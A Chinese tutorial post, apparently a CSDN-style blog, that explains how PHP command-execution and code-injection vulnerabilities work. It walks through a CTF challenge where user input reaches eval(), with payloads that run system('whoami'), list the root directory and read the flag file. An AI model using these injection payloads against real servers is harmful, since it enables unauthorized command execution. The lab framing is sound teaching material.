命令执行漏洞(附例题)

一.原理

应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。

二.利用条件

1、应用调用执行系统命令的函数

2、将用户输入作为系统命令的参数拼接到了命令行中

3、没有对用户输入进行过滤或过滤不严

三.分类

1.远程命令执行漏洞

概念:远程命令执行漏洞,指用户通过浏览器提交执行操作命令, 由于服务器端,没有针对执行函数做过滤,就执行了恶意命令

2、远程代码执行漏洞

概念:代码执行漏洞也叫代码注入漏洞,指用户通过浏览器 提交执行恶意脚本代码,执行恶意构造的脚本代码

四.例题

[SWPUCTF 2021 新生赛]easyrce

1.给一串代码,直接审计

eval():把字符串按照 PHP 代码来计算,需以分号结尾

  1. error_reporting(0);:这行代码将错误报告设置为关闭状态。这意味着在执行PHP代码时,不会显示任何错误或异常信息。这可能会导致难以调试和发现潜在的问题。
  2. highlight_file(__FILE__);:这行代码使用highlight_file()函数来高亮显示当前文件的代码。__FILE__是一个预定义的常量,它表示当前文件的路径和文件名。这个功能可以在调试或查看代码时提供帮助。
  3. if(isset($_GET['url'])):这行代码检查是否有一个名为"url"的GET参数存在。$_GET是一个超全局数组,用于获取通过HTML表单或URL传递的变量值。如果存在名为"url"的GET参数,则继续执行代码。
  4. eval($_GET['url']);:这行代码使用eval()函数执行用户提供的代码。$_GET['url']获取前面检查的GET参数"url"的值,并将其作为字符串传递给eval()函数执行。这意味着用户可以在URL中输入任何PHP代码,并将其执行。

发现通过GET传参,实现命令执行

2.构造payload,查看权限,发现为www-data

复制代码
/?url=system("whoami");

2.查看目录,发现flllllaaaaaaggggggg

复制代码
/?url=system("ls /");

3.cat查看文件,得到flag

复制代码
/?url=system("cat /flllllaaaaaaggggggg");
相关推荐
txg6662 小时前
HgtJIT:基于异构图 Transformer 的即时漏洞检测框架
人工智能·深度学习·安全·transformer
zyl837215 小时前
前端开发网络安全注意事项
安全·web安全
OpenAnolis小助手5 小时前
Anolis OS Linux Dirty Frag 漏洞安全声明
linux·安全·web安全·龙蜥社区
tingting01196 小时前
敏感目录扫描及响应码
安全
智慧医养结合软件开源6 小时前
规范新增·精准赋能,凝聚志愿力量守护老人安康
大数据·安全·百度·微信·云计算
不会摸鱼的小鱼6 小时前
WSL 安装 Ubuntu 22.04 到指定磁盘
数据库·postgresql·php
KKKlucifer8 小时前
数字安全浪潮下国产数据安全企业发展图鉴
大数据·安全
淼淼爱喝水8 小时前
Pikachu 靶场 RCE 模块乱码问题解决方法
网络·安全·pikachu
hahaha 1hhh9 小时前
用SSH 建立了一个本地端口转发隧道,用于安全地访问远程服务器上的服务,后台运行。autodl
服务器·安全·ssh
IT23109 小时前
国产OpenClaw产品崛起:博云BoClaw如何破解AI智能体的「安全与自主」双命题
人工智能·安全